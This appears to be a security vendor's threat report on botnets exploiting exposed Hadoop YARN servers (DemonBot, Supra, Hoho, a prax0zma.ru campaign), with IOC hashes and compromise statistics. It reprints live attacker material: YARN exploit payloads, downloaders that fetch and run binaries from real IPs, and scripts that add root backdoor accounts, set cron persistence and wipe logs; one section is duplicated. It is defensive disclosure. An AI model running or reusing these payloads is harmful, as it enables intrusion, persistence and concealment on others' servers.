cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:


$ strings YSDKOP.i586
…
185.244.25.153:420
8.8.8.8
/proc/net/route
        00000000
(null)
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ
/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
nwonknu
unknown
Hello
slammed
…
Sending TCP Packets To: %s:%d for %d seconds
STOP
[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59.125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
#!/bin/sh
n="Supra.x86 Supra.x86_64"
http_server="80.211.59.125" 
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
 
for dir in $dirs
do
    >$dir.file && cd $dir
done 
 
for i in $n
do
    cp $SHELL $i
    >$i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i
    ./$i
done

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
…
80.211.59.125:434
8.8.8.8
/proc/net/route
…
x86_64
Linux
/usr/bin/apt-get
Ubuntu/Debian
/usr/lib/portage
Gentoo
/usr/bin/yum
RHEL/CentOS
/usr/share/YaST2
OpenSUSE
/etc/dropbear/
OpenWRT
/etc/opkg
UNKNOWN
/etc/ssh/
Dropbear
/etc/xinet.d/telnet
Telnet
/usr/kerberos/bin/telnet
…
[1;37m[
[0;35mSupra
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
…
GCC: (GNU) 4.2.1   
…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

 [Supra]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:    /etc/dropbear
UNKNOWN: /etc/opkg
Dropbear:     /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96.48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma.ru/8.sh
$ cat 8.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://hehe.suckmyass.cf/.o 
$ cat .o
cd /boot ; wget -q http://r00ts.truthdealmodz.pw/.i -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O http://r00ts.truthdealmodz.pw/.i ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s 185.234.217.11 -j DROP
iptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://r00ts.truthdealmodz.pw/.i 
$ cat .i
#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
http://185.244.25.150/bins/otaku.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
http://185.244.25.163/8x868
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
http://185.244.25.222/x86
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
http://185.244.25.251/x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
http://167.99.51.231/x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86
http://46.17.47.198/bins/kowai.x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86

http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8x868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:

http://185.244.25.153/YSDKOP.x86 
http://68.183.96.48/bins/hoho.x86 
http://cnc.junoland.xyz/x86hua
http://194.147.35.63/bins/Kuran.x86
http://46.29.165.33/bins/kowai.x86 
http://167.88.161.40/bins/mydick 
http://188.138.100.8/ankit/jno.x86
http://67.205.128.131/oxy.x86
http://80.211.94.16/Nurasu.x86_64; 
http://46.36.37.121/weed.sh
http://142.93.152.247/8UsA.sh
</code/>

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
